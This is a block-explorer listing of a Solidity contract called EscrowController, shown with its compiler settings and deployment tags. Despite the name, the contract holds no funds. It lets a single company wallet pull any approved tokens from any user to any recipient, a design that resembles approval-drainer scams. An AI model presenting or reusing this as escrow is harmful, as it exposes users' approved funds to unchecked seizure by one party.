EscrowController

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "contracts/tok.sol": {
      "content": "/**\r
 *Submitted for verification at BscScan.com on 2025-09-11\r
*/\r
\r
// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.20;\r
\r
interface IERC20 {\r
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
}\r
\r
contract EscrowController {\r
    address public companyWallet;\r
\r
    event UserApprovalNotified(address indexed user, uint256 amount);\r
    event FundsPulled(address indexed token, address indexed user, address indexed recipient, uint256 amount);\r
\r
    constructor(address _companyWallet) {\r
        require(_companyWallet != address(0), "company wallet required");\r
        companyWallet = _companyWallet;\r
    }\r
\r
    /// @notice Called by user after they call approve(usdt, escrowAddress, amount) on the token.\r
    /// Emits an event you can watch (or rely on tx hash) to confirm the approval.\r
    function notifyApproval(uint256 _amount) external {\r
        emit UserApprovalNotified(msg.sender, _amount);\r
    }\r
\r
    /// @notice Company pulls funds from a user to a recipient. Company must be caller.\r
    /// @param token ERC20 token contract address (e.g. USDT on BSC)\r
    /// @param user the address that previously approved this contract\r
    /// @param recipient address that should receive the tokens\r
    /// @param amount token amount (in token decimals)\r
    function pullFunds(address token, address user, address recipient, uint256 amount) external {\r
        require(msg.sender == companyWallet, "only company can pull funds");\r
        require(token != address(0) && user != address(0) && recipient != address(0), "invalid addresses");\r
        require(amount > 0, "amount must be > 0");\r
\r
        bool ok = IERC20(token).transferFrom(user, recipient, amount);\r
        require(ok, "transferFrom failed");\r
\r
        emit FundsPulled(token, user, recipient, amount);\r
    }\r
\r
    // Admin helper to change companyWallet if ever needed\r
    function setCompanyWallet(address _new) external {\r
        require(msg.sender == companyWallet, "only company");\r
        require(_new != address(0), "invalid");\r
        companyWallet = _new;\r
    }\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0x96862bc22dcfab9d03b324a5106a7390cda668a1|verified:true|block:23734750|tx:0x1f7236b22e3cf70abf2f6b814df4b87772bea6ecf28c358a94205c90897271a2|first_check:1762369314

Submitted on: 2025-11-05 20:01:56

Comments

Log in to comment.

No comments yet.